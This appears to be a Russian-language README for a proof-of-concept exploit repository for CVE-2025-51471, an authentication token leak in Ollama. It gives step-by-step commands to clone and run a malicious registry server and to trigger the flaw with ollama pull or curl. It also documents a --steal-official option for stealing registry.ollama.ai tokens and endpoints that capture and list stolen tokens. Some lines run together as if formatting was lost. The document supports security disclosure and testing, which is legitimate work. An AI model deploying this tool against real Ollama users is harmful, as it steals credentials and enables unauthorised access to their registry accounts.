
Этот PoC предназначен только для образовательных целей и авторизованного тестирования безопасности. НЕ используйте его против систем, которые вам не принадлежат.
Автор: ajtazer
Этот репозиторий содержит Proof of Concept (PoC) для CVE-2025-51471 — уязвимости раскрытия токена аутентификации между доменами, которая затрагивает все версии Ollama (включая последнюю).
Когда Ollama загружает модель с HTTPS-сервера, который отвечает 401 Unauthorized, он переходит по URL realm из заголовка WWW-Authenticate без проверки, принадлежит ли он тому же домену[...]
Это позволяет атакующему:
401 с заголовком WWW-Authenticate, указывающим на контролируемую атакующим конечную точкуregistry.ollama.aipip install flask)git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
python3 malicious_registry.py --no-ssl
ollama serve
# Используя curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'
# ИЛИ используя CLI Ollama
ollama pull --insecure localhost:8080/malicious/model
Я продемонстрировал этот PoC в коротком видео — смотрите здесь:
Примечание (режим HTTPS на macOS): При использовании HTTPS добавьте сгенерированный сертификат в связку ключей или используйте HTTP-режим с
--no-ssl.
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
Параметры:
--port, -p PORT Порт для прослушивания (по умолчанию: 8080)
--no-ssl Использовать HTTP вместо HTTPS
--steal-official, -s Перенаправлять для кражи токенов registry.ollama.ai
--no-verbose Отключить подробный вывод
| Endpoint (конечная точка) | Описание |
|---|---|
/v2/* | Фиктивная конечная точка реестра (запускает эксплуатацию) |
/v2/token | Конечная точка для захвата токена |
/tokens | Просмотреть все захваченные токены (JSON) |
/health | Проверка работоспособности сервера |
Данный PoC предназначен только для образовательных и авторизованных целей тестирования безопасности. Не используйте его против систем, которые вам не принадлежат.
Сделано с ❤️ с помощью Antigravity